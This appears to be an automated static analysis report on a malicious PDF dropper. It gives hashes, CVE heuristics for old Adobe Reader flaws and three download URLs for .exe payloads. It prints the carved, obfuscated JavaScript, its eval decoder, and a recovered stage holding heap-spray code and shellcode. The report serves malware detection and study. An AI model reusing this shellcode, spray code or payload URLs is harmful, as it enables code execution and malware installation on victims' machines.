Malicious PDF — malware analysis report

Static analysis result for SHA-256 9037e899e477d6e7…

MALICIOUS

PDF

7.9 KB Created: 2009-09-15 19:48:89 Authoring application: Eblasha 9.9.5.6 (via PDF Library 9.6.5.8) First seen: 2012-07-12
MD5: 3d4da3b14186de81b79b7c8a44c313e3 SHA-1: 8f8a41bebe02b729689845264470331e31bff7c3 SHA-256: 9037e899e477d6e77acb24d29d2cd64c0302040d39171f9333d3b283f5691446
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The presence of `eval()` and `String.fromCharCode` suggests obfuscated code execution. ClamAV detection as 'Pdf.Dropper.Agent-1828850' strongly suggests a dropper functionality, likely downloading and executing a second-stage payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-1828850 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828850
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var aefnqtz=0, fhinpqsux='';aefnqtz<5316;aefnqtz++){fhinpqsux += String.fromCharCode(fra[aefnqtz]-'QWeHZNV'.substring(aefnqtz%'QWeHZNV'.length,aefnqtz%'QWeHZNV'.length+1).charCodeAt(0));}eval(fhinpqsux);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kilogid2.biz/pol/fhlntu3.exe Referenced by PDF JavaScript
    • http://kilogid2.biz/pol/afruv3.exeReferenced by PDF JavaScript
    • http://kilogid2.biz/pol/defkmz3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21263 bytes
SHA-256: 403726e28dc388fa74b95172bfa4071f6042c1258b34f721df6fd7d9655cbe78
Preview script
First 1,000 lines of the extracted script
var fra=[183,204,211,171,206,183,197,191,119,203,177,210,173,191,197,127,222,169,204,193,198,125,195,202,182,131,201,205,185,192,209,173,130,199,183,195,202,213,118,198,179,196,184,203,205,114,140,138,194,182,197,142,195,211,175,200,196,199,144,133,211,175,200,196,199,160,197,100,199,183,195,202,213,133,211,175,200,196,199,147,187,207,176,201,197,201,206,182,193,118,134,125,195,202,182,137,128,127,140,201,202,188,207,192,196,113,208,198,186,205,190,145,206,97,203,189,200,177,202,186,198,211,104,207,194,191,189,182,213,186,195,188,202,183,127,142,195,208,175,200,113,199,198,193,198,189,183,181,148,218,182,191,193,185,178,199,202,112,124,115,203,135,139,158,120,127,195,135,137,152,150,109,207,126,134,129,135,138,189,146,144,134,129,124,218,123,138,130,134,118,204,153,120,146,144,123,198,143,167,125,142,115,203,129,139,153,120,127,195,138,129,143,167,109,207,134,152,129,139,138,189,138,130,138,129,124,218,122,138,126,154,118,204,151,120,138,126,123,198,138,169,120,138,115,203,129,135,156,139,127,195,134,129,142,156,109,207,126,135,136,139,138,189,141,129,153,132,124,218,126,142,145,134,118,204,153,120,146,144,123,198,142,157,123,138,115,203,137,153,149,139,127,195,134,148,139,149,109,207,133,134,137,153,138,189,155,146,135,148,124,218,125,146,134,152,118,204,170,138,138,134,123,198,143,167,120,147,115,203,132,139,153,120,127,195,138,129,143,169,109,207,134,152,136,154,138,189,141,145,139,137,124,218,124,142,132,151,118,204,169,121,143,143,123,198,137,167,141,140,115,203,137,153,170,122,127,195,155,147,156,168,109,207,131,151,133,157,138,189,146,129,139,131,124,218,125,144,147,151,118,204,154,125,146,135,123,198,140,155,120,142,115,203,137,153,154,127,127,195,137,148,142,152,109,207,133,138,137,153,138,189,145,134,137,132,124,218,142,141,126,137,118,204,157,138,143,132,123,198,137,149,127,144,115,203,151,138,149,123,127,195,153,138,138,152,109,207,131,134,133,144,138,189,155,146,138,130,124,218,142,160,129,137,118,204,149,142,141,132,123,198,136,153,138,159,115,203,132,143,149,123,127,195,141,133,157,151,109,207,145,135,129,143,138,189,138,146,153,151,124,218,142,155,126,137,118,204,170,138,142,126,123,198,140,157,141,160,115,203,151,143,152,138,127,195,155,134,142,154,109,207,134,152,134,156,138,189,140,130,138,135,124,218,139,141,126,137,118,204,157,138,144,132,123,198,139,157,120,157,115,203,134,141,157,138,127,195,134,132,136,168,109,207,134,152,149,138,138,189,146,143,134,133,124,218,139,141,126,137,118,204,154,141,143,148,123,198,154,152,125,138,115,203,136,155,157,140,127,195,139,136,135,157,109,207,144,142,134,137,138,189,157,143,137,132,124,218,125,156,134,151,118,204,166,122,159,134,123,198,157,171,142,160,115,203,132,137,171,142,127,195,142,147,154,149,109,207,148,136,151,142,138,189,142,148,151,150,124,218,127,143,144,142,118,204,155,125,140,147,123,198,152,167,127,146,115,203,138,143,155,126,127,195,151,147,141,155,109,207,145,134,132,138,138,189,144,127,152,137,124,218,120,138,132,138,118,204,154,120,138,126,123,198,140,153,126,146,115,203,136,137,155,128,127,195,137,134,141,154,109,207,127,153,131,139,138,189,145,130,140,138,124,218,125,142,131,134,118,204,167,128,143,129,123,198,157,168,137,155,115,203,136,154,149,140,127,195,139,134,157,171,109,207,134,152,129,139,138,189,146,129,156,137,124,218,120,157,145,138,118,204,155,139,156,126,123,198,156,149,128,155,115,203,134,135,158,128,127,195,140,151,141,157,109,207,128,155,135,156,138,189,144,134,140,133,124,218,127,140,133,139,118,204,155,140,144,145,123,198,153,157,125,142,115,203,133,156,157,141,127,195,155,148,135,170,109,207,131,139,151,157,138,189,147,129,134,133,124,218,123,141,131,134,118,204,154,120,157,126,123,198,140,155,125,138,115,203,134,140,157,138,127,195,142,132,135,153,109,207,133,156,148,137,138,189,157,128,142,132,124,218,125,140,130,153,118,204,167,128,143,126,123,198,136,166,123,144,115,203,136,135,151,142,127,195,139,134,157,171,109,207,131,152,129,139,138,189,143,132,139,136,124,218,129,146,144,142,118,204,157,137,160,147,123,198,157,171,120,159,115,203,129,139,154,125,127,195,134,129,141,166,109,207,146,141,151,157,138,189,145,130,140,137,124,218,127,138,133,138,118,204,151,142,141,143,123,198,141,167,122,160,115,203,135,154,155,129,127,195,140,136,141,171,109,207,132,138,135,144,138,189,140,147,137,131,124,218,126,147,132,136,118,204,151,142,145,143,123,198,141,171,127,138,115,203,131,157,155,139,127,195,140,137,141,155,109,207,132,155,135,154,138,189,145,131,141,133,124,218,122,159,129,137,118,204,156,128,144,131,123,198,135,149,126,143,112,127,140,205,198,186,122,188,197,193,148,218,182,191,193,185,178,199,202,112,124,115,203,129,152,149,137,127,195,134,146,135,166,109,207,126,151,129,152,138,189,138,143,134,146,121,142,82,208,175,200,113,191,202,169,202,176,194,192,186,208,133,200,189,198,124,199,198,193,198,189,183,181,146,219,169,204,110,184,186,190,199,180,201,177,193,142,204,211,173,205,177,183,193,188,141,106,127,195,134,146,135,166,109,207,126,151,129,152,135,113,149,196,183,195,119,205,173,187,178,187,195,202,206,194,191,139,136,129,146,219,169,204,110,201,193,201,198,193,151,182,187,178,187,202,186,205,183,208,182,130,205,173,187,190,184,189,198,200,179,136,186,187,191,190,217,176,149,197,190,186,195,202,112,188,183,189,179,195,212,171,197,124,194,182,197,204,188,194,138,201,193,201,198,193,131,201,184,186,190,199,180,201,177,193,124,148,199,177,193,176,194,192,186,208,131,215,88,204,178,201,133,174,195,186,194,179,195,212,171,197,139,184,186,190,199,180,201,177,193,127,202,218,170,205,194,200,186,197,204,112,138,122,201,193,201,198,193,131,137,204,178,201,133,170,198,189,185,188,148,199,177,193,176,194,192,186,208,118,205,195,184,196,203,215,177,200,181,126,129,131,199,177,193,176,194,192,186,208,118,198,179,196,184,203,205,117,205,190,200,178,208,142,131,209,182,191,189,188,141,170,198,189,185,188,133,209,173,200,181,202,185,130,216,184,204,175,207,141,135,221,124,138,126,134,129,128,224,170,198,189,185,188,148,199,180,201,177,193,124,185,209,183,189,185,129,183,192,209,180,188,186,197,180,194,160,197,100,196,183,195,119,210,173,199,173,183,195,201,198,193,151,188,187,200,119,166,186,204,175,207,121,128,160,174,201,192,126,199,184,215,104,195,139,134,140,192,161,121,142,126,134,140,192,144,115,131,201,195,182,196,196,169,204,192,183,202,178,206,165,151,176,194,192,186,208,115,194,179,183,193,185,209,183,189,185,145,206,97,219,169,204,110,196,198,196,162,121,140,135,143,138,144,158,129,147,135,143,138,144,158,129,147,135,143,138,144,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,137,203,197,192,209,118,202,192,191,191,203,203,112,124,115,138,134,135,149,120,192,112,130,191,204,210,113,149,203,96,183,204,211,171,206,183,197,191,119,200,183,198,186,183,179,182,202,181,187,183,194,121,128,224,190,187,192,118,196,191,202,180,198,177,197,181,188,162,189,200,179,201,180,184,213,173,130,112,123,198,141,153,129,138,115,203,130,143,166,121,127,195,134,129,135,149,109,207,134,152,129,135,138,189,141,126,138,129,124,218,124,138,134,152,118,204,157,138,143,130,123,198,135,153,124,138,115,203,133,135,157,138,127,195,142,147,135,153,109,207,126,138,133,135,138,189,140,126,134,149,124,218,122,138,126,134,118,204,152,140,138,126,123,198,135,149,127,157,115,203,129,135,156,127,127,195,134,130,142,153,109,207,129,137,148,138,138,189,144,130,153,129,124,218,124,138,134,152,118,204,156,128,141,126,123,198,143,167,120,157,115,203,129,154,153,120,127,195,141,129,143,167,109,207,143,154,130,154,138,189,143,134,142,147,124,218,141,156,126,142,118,204,157,138,138,135,123,198,138,153,124,138,115,203,133,135,157,140,127,195,142,147,142,168,109,207,129,153,134,143,138,189,142,130,140,146,124,218,140,139,131,151,118,204,151,138,159,128,123,198,143,167,141,140,115,203,150,153,170,139,127,195,139,146,139,171,109,207,134,137,134,137,138,189,143,132,155,146,124,218,125,143,134,143,118,204,154,126,138,130,123,198,143,167,125,145,115,203,132,154,156,123,127,195,141,133,143,167,109,207,133,142,132,138,138,189,160,129,134,132,124,218,128,156,131,140,118,204,151,120,145,132,123,198,157,152,120,141,115,203,148,144,152,123,127,195,139,129,139,158,109,207,143,154,133,136,138,189,160,148,137,132,124,218,120,160,129,140,118,204,150,124,156,147,123,198,138,157,120,141,115,203,136,139,171,122,127,195,153,130,135,157,109,207,126,154,148,157,138,189,160,143,134,132,124,218,141,156,130,134,118,204,154,128,159,148,123,198,157,157,123,156,115,203,150,140,156,125,127,195,142,147,140,170,109,207,128,138,133,141,138,189,157,129,134,132,124,218,128,156,132,140,118,204,153,128,138,145,123,198,140,155,128,156,115,203,129,138,150,139,127,195,142,147,155,152,109,207,134,151,129,139,138,189,157,129,134,132,124,218,125,159,131,156,118,204,168,123,143,126,123,198,142,169,128,158,115,203,134,142,149,128,127,195,152,137,140,151,109,207,145,151,132,138,138,189,143,144,142,146,124,218,137,140,147,142,118,204,171,142,160,148,123,198,138,151,142,160,115,203,137,153,168,120,127,195,156,131,157,156,109,207,130,156,146,156,138,189,145,131,152,137,124,218,126,143,128,155,118,204,166,138,145,134,123,198,144,157,126,144,115,203,146,153,155,126,127,195,153,129,138,152,109,207,132,135,147,143,138,189,138,126,140,133,124,218,125,138,126,134,118,204,154,124,144,134,123,198,142,151,126,146,115,203,132,140,155,125,127,195,135,148,137,153,109,207,133,138,135,144,138,189,143,130,139,129,124,218,138,146,131,137,118,204,171,139,155,143,123,198,142,168,120,158,115,203,134,140,171,142,127,195,142,147,135,153,109,207,134,137,151,143,138,189,138,145,153,133,124,218,126,157,144,134,118,204,170,120,146,143,123,198,140,149,129,146,115,203,135,157,155,128,127,195,136,150,141,170,109,207,132,142,135,139,138,189,145,128,141,134,124,218,126,158,132,153,118,204,167,128,143,130,123,198,139,170,128,159,115,203,150,154,149,141,127,195,139,134,157,171,109,207,135,137,129,139,138,189,141,129,139,129,124,218,125,138,145,134,118,204,154,126,143,126,123,198,140,154,128,156,115,203,137,138,149,124,127,195,141,151,154,151,109,207,145,136,137,138,138,189,143,128,138,148,124,218,138,146,131,134,118,204,150,137,141,132,123,198,142,149,122,160,115,203,134,140,171,142,127,195,139,147,135,153,109,207,131,140,134,142,138,189,147,134,152,137,124,218,128,155,148,155,118,204,171,142,138,147,123,198,135,153,125,143,115,203,129,135,155,137,127,195,154,136,157,171,109,207,133,138,135,143,138,189,145,126,141,133,124,218,122,160,129,151,118,204,155,138,140,148,123,198,141,168,126,147,115,203,135,142,155,142,127,195,140,133,141,158,109,207,128,155,132,137,138,189,144,135,140,131,124,218,122,160,133,151,118,204,155,142,145,126,123,198,137,171,126,157,115,203,135,141,155,121,127,195,141,134,142,151,109,207,129,137,136,141,138,189,144,131,136,150,124,218,126,143,133,142,118,204,149,120,138,126,120,122,146,219,169,204,110,195,182,196,196,169,204,192,183,202,148,211,173,209,110,151,195,201,198,193,130,119,145,199,184,215,104,189,177,147,129,207,149,171,138,177,134,180,135,200,131,208,175,200,113,184,201,172,204,139,134,201,139,149,120,138,126,134,140,205,198,186,122,193,185,176,195,202,182,151,193,190,182,195,209,171,201,178,187,127,195,202,182,193,194,190,123,137,160,190,187,192,118,189,188,211,133,187,178,186,195,132,141,187,189,173,194,182,197,144,120,210,129,142,122,146,219,169,204,110,207,178,201,216,184,151,195,196,182,202,200,169,202,179,126,115,124,218,129,138,135,134,118,204,158,120,147,126,120,122,146,222,169,204,193,198,142,189,206,192,185,183,202,121,208,198,186,205,190,130,189,188,211,113,149,196,183,195,119,200,183,207,188,202,131,148,141,171,189,123,134,201,139,149,120,138,126,134,122,134,198,172,190,192,145,183,198,215,112,208,175,200,113,186,212,189,200,194,147,129,146,200,183,207,188,202,141,186,212,189,200,194,136,140,186,212,189,200,194,129,124,128,224,181,191,187,181,178,201,215,169,211,169,185,192,204,211,188,183,139,207,178,201,216,184,133,193,190,182,195,209,171,201,178,187,140,212,111,190,187,192,118,192,205,202,186,192,186,197,200,148,218,182,191,193,185,178,199,202,112,124,115,203,129,186,149,171,127,195,134,180,135,200,106,131,137,205,185,192,209,173,130,189,204,182,201,203,180,201,197,132,189,188,211,175,206,182,146,133,139,158,125,140,119,209,192,205,202,186,192,186,197,200,130,162,183,208,179,200,183,195,212,191,149,203,96,197,191,206,187,136,177,197,189,195,198,170,173,194,197,195,188,162,139,201,186,194,178,185,147,171,201,186,194,182,186,217,141,199,175,191,189,160,211,174,201,118,209,196,204,199,178,148,112,120,125,196,216,175,148,189,204,182,201,203,180,201,197,211,122,146,226,82,192,195,196,180,203,206,183,200,110,185,192,195,209,169,188,173,189,182,203,206,171,201,188,126,122,210,206,174,130,175,198,193,133,201,183,189,124,153,192,195,209,169,188,124,189,182,203,174,171,201,188,127,204,205,198,186,122,175,200,195,208,162,182,191,197,118,146,201,215,169,211,118,127,140,205,198,186,122,196,204,193,188,217,176,211,175,147,198,197,202,187,189,175,198,182,127,135,109,207,132,138,138,135,138,189,139,134,151,130,124,218,120,138,126,134,118,204,157,138,138,126,123,198,138,149,124,138,115,203,133,135,157,138,127,195,142,147,140,153,109,207,126,138,133,135,138,189,142,126,142,147,124,218,128,156,126,138,118,204,149,124,142,126,123,198,137,149,120,158,115,203,131,135,149,120,127,195,137,149,135,149,109,207,126,134,136,154,138,189,138,126,141,136,124,218,120,139,133,138,118,204,152,123,157,129,123,198,141,153,139,138,115,203,133,135,157,138,127,195,141,137,138,149,109,207,134,152,129,154,138,189,138,145,138,129,124,218,127,138,134,152,118,204,166,140,139,145,123,198,140,157,128,156,115,203,150,153,149,128,127,195,142,147,135,158,109,207,129,138,133,135,138,189,142,126,142,149,124,218,128,156,133,153,118,204,152,139,143,134,123,198,139,153,126,155,115,203,149,136,154,137,127,195,136,147,156,151,109,207,134,152,150,137,138,189,159,144,155,148,124,218,125,155,130,156,118,204,157,123,143,128,123,198,140,155,141,155,115,203,134,140,157,129,127,195,139,135,135,153,109,207,134,152,134,142,138,189,141,145,141,132,124,218,127,142,134,152,118,204,156,128,141,129,123,198,157,152,120,141,115,203,137,153,154,126,127,195,136,129,142,155,109,207,148,137,129,138,138,189,157,135,137,132,124,218,125,138,130,143,118,204,166,140,142,127,123,198,157,171,123,141,115,203,129,157,152,126,127,195,135,133,153,170,109,207,129,142,129,138,138,189,145,130,156,131,124,218,139,139,126,142,118,204,149,140,157,148,123,198,157,166,120,141,115,203,150,153,153,120,127,195,139,137,156,171,109,207,148,142,132,153,138,189,159,131,141,134,124,218,128,156,131,155,118,204,151,124,142,132,123,198,154,152,120,141,115,203,137,153,155,126,127,195,138,137,135,168,109,207,131,140,137,153,138,189,138,129,135,148,124,218,128,156,146,137,118,204,157,137,138,130,123,198,154,152,120,141,115,203,134,156,154,142,127,195,153,132,140,149,109,207,133,154,137,155,138,189,143,133,134,137,124,218,138,146,131,136,118,204,168,137,141,129,123,198,140,167,128,155,115,203,146,137,170,128,127,195,156,151,157,171,109,207,129,136,151,157,138,189,146,144,153,129,124,218,142,140,148,141,118,204,153,142,155,147,123,198,142,154,138,146,115,203,135,140,151,141,127,195,151,147,142,157,109,207,135,142,135,141,138,189,155,144,140,135,124,218,139,138,129,137,118,204,155,121,156,134,123,198,135,149,126,142,115,203,134,135,149,120,127,195,139,133,141,157,109,207,133,136,135,143,138,189,141,131,140,134,124,218,121,157,128,138,118,204,156,124,144,135,123,198,140,153,125,138,115,203,147,143,154,123,127,195,156,148,152,166,109,207,133,153,129,155,138,189,143,131,156,151,124,218,128,156,126,138,118,204,157,123,160,134,123,198,135,168,139,142,115,203,135,154,167,120,127,195,155,129,143,166,109,207,131,134,138,143,138,189,144,148,140,137,124,218,122,159,132,155,118,204,155,128,144,130,123,198,142,151,127,143,115,203,135,155,155,139,127,195,152,137,140,153,109,207,130,155,137,156,138,189,159,145,134,150,124,218,125,143,148,156,118,204,158,123,138,130,123,198,138,152,125,138,115,203,134,135,168,120,127,195,139,135,140,149,109,207,131,139,137,153,138,189,146,129,134,133,124,218,127,160,145,136,118,204,168,122,146,129,123,198,140,151,124,157,115,203,147,143,154,120,127,195,135,146,138,155,109,207,133,134,131,157,138,189,143,131,156,151,124,218,125,156,126,138,118,204,154,126,143,133,123,198,144,157,138,146,115,203,137,152,171,141,127,195,156,151,135,170,109,207,126,138,134,140,138,189,138,126,140,146,124,218,140,145,148,156,118,204,156,124,144,134,123,198,142,149,127,142,115,203,131,157,152,137,127,195,140,147,137,171,109,207,132,153,135,144,138,189,144,133,140,151,124,218,126,142,132,143,118,204,151,141,141,128,123,198,141,158,126,140,115,203,131,157,156,137,127,195,140,151,142,149,109,207,128,156,135,154,138,189,144,131,140,133,124,218,126,156,132,140,118,204,156,137,144,146,123,198,137,170,123,141,115,203,136,143,155,125,127,195,134,129,141,154,106,131,137,204,178,201,133,176,177,191,139,129,135,168,150,151,196,204,193,188,217,176,211,175,132,189,188,211,175,206,182,128,131,146,219,169,204,110,194,182,197,162,120,210,130,134,129,135,149,120,135,118,190,168,200,154,120,138,145,164,124,135,221,123,146,119,145,199,184,215,104,211,175,200,196,199,162,189,200,179,201,180,184,213,173,130,112,123,198,144,149,129,138,115,203,138,135,158,120,124,119,145,202,184,215,187,202,139,188,186,207,196,177,206,118,207,178,201,216,184,134,186,187,191,128,160,190,187,192,118,193,140,166,178,165,132,139,183,148,141,120,210,126,185,129,186,149,171,138,177,131,129,207,153,120,138,126,134,129,128,148,120,210,130,134,129,135,149,120,149,180,197,195,127,219,169,204,110,204,194,186,182,140,147,132,207,142,135,160,190,203,177,167,149,144,155,193,150,190,139,146,193,176,126,143,180,145,199,200,200,153,158,135,140,202,130,144,113,213,175,200,195,208,192,190,203,177,167,149,144,155,193,183,139,207,178,201,216,184,133,196,204,193,188,217,176,211,175,145,206,97,219,169,204,110,202,166,164,205,150,188,149,205,142,204,211,173,205,177,183,193,188,141,106,127,126,143,115,128,160,191,194,183,194,182,127,217,157,167,182,164,179,158,220,118,198,179,196,184,203,205,132,138,198,138,129,135,149,113,213,194,171,158,191,179,170,161,197,129,142,203,186,149,194,156,184,152,206,160,197,100,194,171,158,191,179,170,161,197,147,115,165,147,106,133,194,171,158,191,179,170,161,197,145,178,199,213,118,190,189,185,127,154,212,180,198,175,184,127,190,202,188,163,177,197,191,127,217,157,167,182,164,179,158,220,113,149,203,211,91,189,218,182,189,194,191,192,197,133,184,190,180,181,196,203,198,186,206,118,127,204,205,198,186,122,196,187,195,202,206,183,200,139,183,193,199,147,190,195,179,205,182,201,187,173,204,193,191,192,197,147,188,201,161,202,195,192,211,175,130,119,145,199,188,215,187,195,189,196,142,205,202,186,205,183,197,191,133,215,173,202,186,183,180,188,141,119,182,146,133,184,131,140,111,131,137,204,178,201,133,190,187,192,201,186,198,211,167,187,192,200,178,208,162,182,191,197,118,146,201,215,169,211,118,204,182,201,216,177,201,188,132,180,191,198,186,155,194,126,129,128,145,190,191,192,201,186,198,211,118,189,182,183,195,152,217,112,139,119,130,199,188,215,187,195,189,196,127,186,205,169,204,143,202,121,137,142,113,149,183,188,121,127,219,169,204,193,191,192,197,196,169,204,192,183,202,178,149,165,151,139,142,122,125,139,112,208,175,200,196,192,212,182,185,175,200,195,184,222,163,139,171,147,142,135,142,196,214,118,204,178,201,216,177,201,188,181,178,201,215,169,211,169,135,174,148,162,121,128,116,204,178,201,216,177,201,188,181,178,201,215,169,211,169,136,174,147,152,113,131,201,203,197,192,209,167,202,192,191,191,203,203,112,131,137,211,91,192,203,112,130,196,183,195,202,206,183,200,173,183,195,201,198,193,181,126,179,141,143,142,196,214,118,204,178,201,216,177,201,188,181,178,201,215,169,211,169,134,174,148,162,128,128,116,204,178,201,216,177,201,188,181,178,201,215,169,211,169,135,174,147,151,110,128,196,183,195,202,206,183,200,173,183,195,201,198,193,181,128,179,141,137,142,113,213,177,197,189,195,198,170,185,179,195,178,192,209,112,131,137,211,91,192,203,112,130,196,183,195,202,206,183,200,173,183,195,201,198,193,181,126,179,141,144,142,196,214,118,204,178,201,216,177,201,188,181,178,201,215,169,211,169,134,174,148,162,129,128,116,204,178,201,216,177,201,188,181,178,201,215,169,211,169,135,174,147,150,113,131,201,185,192,195,209,169,188,173,189,182,203,206,171,201,188,126,122,146,226,197,100,190,186,183,182,216,188,187,192,202,121,128,160];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B63 208 bytes
SHA-256: 0bf0f7898e5a1360c22bf5d9767af6cfae1563554eb0c56a75e41b401e6e5c04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var aefnqtz=0, fhinpqsux='';aefnqtz<5316;aefnqtz++){fhinpqsux += String.fromCharCode(fra[aefnqtz]-'QWeHZNV'.substring(aefnqtz%'QWeHZNV'.length,aefnqtz%'QWeHZNV'.length+1).charCodeAt(0));}eval(fhinpqsux);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5316 bytes
SHA-256: 9e2e0815a2ee94a19b5e2d3c98d8bd3199ba52d730632f38fc1158b835fc4556
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6866%u6E6C%u7574%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
